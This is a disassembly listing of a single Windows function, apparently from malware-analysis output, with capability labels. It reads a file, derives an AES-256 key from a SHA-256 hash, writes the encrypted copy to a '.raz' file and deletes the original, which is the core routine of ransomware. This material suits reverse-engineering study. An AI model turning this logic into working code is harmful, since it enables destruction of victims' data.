Function at 0x1400011a4
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x140007300]
xor rax, rsp
mov qword [rbp + 0x80], rax
and qword [rsp + 0x30], 0
mov r15, r8
mov rsi, rdx
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
xor r9d, r9d
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001492
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov dword [rsp + 0x50], ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov rcx, rdi
test rax, rax
jne 0x14000123a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001492
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x60]
and qword [rsp + 0x20], 0
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001265
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
jmp 0x14000122f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x14000129e
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001492
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1400012d1
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x140001290
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 0x20]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1400012f7
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x1400012c2
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400012ea
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov r8, r15
lea esi, [r9 + 1]
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
mov eax, dword [rsp + 0x50]
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
mov r8d, esi
mov dword [rsp + 0x30], eax
xor edx, edx
mov dword [rsp + 0x54], eax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x140001377
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
jmp 0x1400012ea
mov ecx, dword [rsp + 0x54]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140001367
mov r8d, dword [rsp + 0x50]
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x54]
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
mov r8d, esi
mov dword [rsp + 0x30], eax
xor edx, edx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x1400013d2
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001367
mov r9, r14
lea r8, str._s.raz
mov edx, 0x104
lea rcx, [rsp + 0x70]
call fcn.140001dd0
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400013c7
mov r8d, dword [rsp + 0x54]
lea r9, [rsp + 0x64]
and qword [rsp + 0x20], 0
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
test eax, eax
jne 0x14000144e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400013c7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.140001f70
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x190
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret